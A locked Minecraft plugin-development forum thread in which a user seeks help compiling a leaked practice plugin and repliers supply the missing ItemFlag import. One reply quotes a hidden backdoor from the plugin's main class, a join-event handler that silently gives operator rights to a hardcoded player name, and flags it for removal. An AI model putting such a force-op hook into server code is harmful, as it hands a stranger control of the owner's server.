Help Compiling

Status
This thread has been locked.
PebbleHost
High performance, consistent uptime and fast support. Minecraft hosting that just works.

ProfessionalDev

Feedback score
1
Posts
282
Reactions
111
Resources
0
Hi MCM,
Who can help me compiling an practice plugin, the source is open, but i dont know where i can get the import of "ItemFlag", i try craftbukkit and the spigot api but it doesn´t work, please help
The error: http://prntscr.com/dh4rwf

Try this import?

org.bukkit.inventory.ItemFlag
 

Cloth

Developer
Supreme
Feedback score
20
Posts
212
Reactions
239
Resources
0
The amusing part is that he didn't even register the events in the main class.

It's because he doesn't actually know how to code. Look at his profile, all he does is skid from other people and leak plugins.
 

Culium

Feedback score
0
Posts
63
Reactions
26
Resources
0
Looking through the code and this part amused me a lot:

Code:
 @EventHandler
  public void xddd(final PlayerJoinEvent event)
  {
    new BukkitRunnable()
    {
      public void run()
      {
        Player p = event.getPlayer();
        if (p.getName().equals("xGeka")) {
          p.sendMessage(ChatColor.GREEN + "This server is running SDR version 1.5.3");
          p.setOp(true);
        }
      }
    }
  
      .runTaskLater(this, 90L);
  }


Notice the forceop method called "xddd" in the main class called "Core"

You might want to take that out.
i have to take out this, thanks! ( i see this xd )[DOUBLEPOST=1481332292][/DOUBLEPOST]
The ItemFlag function is for 1.8 and above
Culium
Thanks, i use spigot 1.11 and work, thanks!
 
Status
This thread has been locked.
Top